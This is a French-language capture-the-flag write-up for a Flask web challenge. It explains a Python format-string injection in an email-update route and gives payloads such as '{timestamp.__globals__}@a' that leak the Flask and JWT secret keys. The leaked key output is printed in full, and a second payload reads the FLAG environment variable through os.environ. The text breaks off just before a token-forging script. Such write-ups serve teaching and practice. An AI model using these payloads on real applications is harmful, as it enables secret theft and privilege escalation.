Le site web possède une page de connexion et d’enregistrement. On peut créer un compte et se connecter. Une fois connecté on a accès à des éléments supplémentaires:
/home
/update-email
/update-logs
/logout
Seulement deux semblent intéressantes: /update-email et /update-logs. La première page permet comme son nom l’indique de modifier son adresse email et la deuxième contient les logs sur la modification de l’adresse email.
Pour récupérer le flag, il semble falloir obtenir le role admin, puisque le flag placé dans la variable d’environnement FLAG est retourné sur la route /admin. Celle-ci seulement accessible pour les utilisateurs avec le role admin.
@web.route('/admin')
@is_admindefadmin_home():
flag = current_app.config['FLAG']
return render_template('admin.html', flag=flag)
Résolution
Pour résoudre ce challenge, il y a deux solutions possibles. La première, celle qui est attendue est de leak deux clés secrètes permettant de forger un token et de les utiliser pour en créer un avec le role admin. La seconde et de leak directement le flag avec un payload un peu plus long.
Python format string vulnerabilities
Pour leak les informations dont nous voulons, il va falloir utiliser un bug concernant les formats string en python. En effet il est possible d’injecter des expressions lorsqu’une fstring est utilisée avec la méthode format sur la même chaîne de caractères.
En regardant au niveau de la route /update-email dans le fichier api_routes.py:
@api.route('/update-email', methods=["POST"])
@is_authenticateddefupdate_email():
ifnot request.is_json:
return abort(400, 'Invalid POST format!')
data = request.get_json()
new_email = data.get('email', '')
ifnot is_valid_email(new_email):
return abort(401, 'Invalid Email')
# Get old email address token = session.get('auth')
decoded_token = verify_JWT(token)
old_email = decoded_token["email"]
# Logging Data time = datetime.now()
update_date = time.strftime("%Y-%m-%d %H:%M:%S")
log_text =f"Email updated to {new_email} at {update_date}" log_text = log_text.format(new_email=new_email, timestamp=timestamp, update_date=update_date)
# Update users call_procedure("update_user_email", (old_email, new_email))
# Insert Logs log_text = escape_html(log_text)
call_procedure("insert_log", (new_email, log_text))
# Log out of the page session['auth'] =Nonereturn redirect(url_for('web.logout'))
On s’aperçoit qu’une fstring et une méthode format sont utilisées sur la même chaîne de caractères, au niveau de log_text. Trois valeurs sont passées par la méthode format: new_email, timestamp et update_date. Cependant une seule semble intéressante: timestamp. Les autres sont des objets str ce qui n’est pas intéressant, tandis que timestamp correspond à une fonction située dans util.py:
from functools import wraps
from flask import abort, session
import hashlib
import os
import jwt
import datetime
import re
defgenerate_key(x): return os.urandom(x).hex()
FLASK_SECRET_KEY = generate_key(256)
jwt_key = generate_key(256)
[...]
deftimestamp():
return datetime.now()
Dans ce script se trouve les deux clés secrètes permettant de forger un token avec le role admin. Il est possible de les leaks puisque ce sont des variables globales et qu’ils sont accessibles avec __globals__ depuis timestamp. Voici le payload à passer pour leak les secrets : {timestamp.__globals__}@a.
À noter que la valeur à envoyer doit valider cette condition placée dans is_valid_email():
Email updated to {'__name__': 'util', [...],
'FLASK_SECRET_KEY': 'c52c9fb7150d32b182ef3c0f1b07c26d37762e72e872a41110639e8688f25b0108e836732f740a5fe00f37a2fcc7398dbe0d8d50b51876549e45497003d852b94fb45c943bf36f05935911935e06c7d761f3419934609f97ed2559c777b8a647dcca1d718382c1dbb242c4cfd09e14c68be93e8ed94ff6f2d07a787ac776cebdd97139e396fc0e6e11397f674e20eaa0bedaa55b861a3712f762add6c3ccfb8aede6427326deaec5519bb0c7b1e186d8f6d869cc7d79143537ee5846dfebd153145b5090914a089db16cd158b27505f9c9c487a2da010a846433fbbc23668e93f290e8f7bf5e8f71891eb427d1a21f961a84ad48713ddb6f235c8f8b979f2e0d',
'jwt_key': '6fe660af3a43ef98147a3ea199e9dbe8b2b387ddaec723d6e9ca1124c7804a85fb9ae03696cad277221b9fbd15bb495314d3d4bfba103cd672bde9a3c0c3edb5ba3730aa6a169b593c24d2f507fbcdc3c8ef3648d295a51987b3774993b0852d866d1c15683f3a35bd45019c2c355548cefdd70a640ef850a4bf3371100fb69f74f9143c3968302d8fba9ca64d456ce6cfb07982b5e35be04abdd273e5eceab1a661b3190bdb369c7aa96c10553acfceb23a1d9d9a534e485c2ee32d57dbb7d93fda63c860432dbf25b1b6f78f2e625feac6fd56d2bddc70919514ff39a22ee473731716ae79340dae269753bcd354516c3361e872275ba022cb303140c4eca7',
[...], 'escape_html': <function escape_html at 0x7f5accdaf4c0>}@a at 2024-09-24 19:15:19
Bonus: Il est possible de récupérer directement le flag, en passant par le module os puisqu’il est importé dans le fichier util.py et de lire la variable d’environnement FLAG grâce à ce payload: {timestamp.__globals__['os'].environ['FLAG']}.
Forger un token admin
Une fois les deux secrets obtenus, la création d’un token admin est possible. Voici un script permettant de faire ça: